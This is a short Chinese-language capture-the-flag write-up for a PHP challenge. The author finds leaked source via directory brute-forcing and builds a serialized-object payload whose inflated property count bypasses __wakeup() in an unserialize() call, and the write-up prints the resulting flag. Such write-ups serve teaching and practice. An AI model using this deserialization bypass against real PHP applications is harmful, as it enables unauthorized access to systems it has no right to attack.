[極客大挑戰 2019]PHP 1
開啟檔案發現提示資訊“備份檔案”,檢視原始碼並未發現其他有效資訊
採用dirsearch爆破目錄,找到www.zip檔案
解壓zip,發現是原始碼洩露
提交flag,發現不正確,看到index.php原始碼中有Get傳參,然後反序列化函式unserialize()
,判斷為反序列化漏洞;
檢視class.php可知,只要username=admin並且password=100,就能輸出flag
於是構造反序列化payload
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>
執行php方法序列化成字串,Name前後需要新增%00
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
作為select
引數值,未能顯示出flag
這是因為成員屬性數目大於實際數目2時才可繞過wakeup
魔術方法,修改2為任意大於二的數字
O:4:"Name":666:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
成功拿到flag
flag{2629c697-31da-4735-8e1f-978a34067a82}
tips.
unserialize();
方法解釋:
從已儲存的表示中建立 PHP 的值列化後的字串。
若被反序列化的變數是一個物件,在成功地重新構造物件之後,PHP 會自動地試圖去呼叫 __wakeup()成員函式(如果存在的話);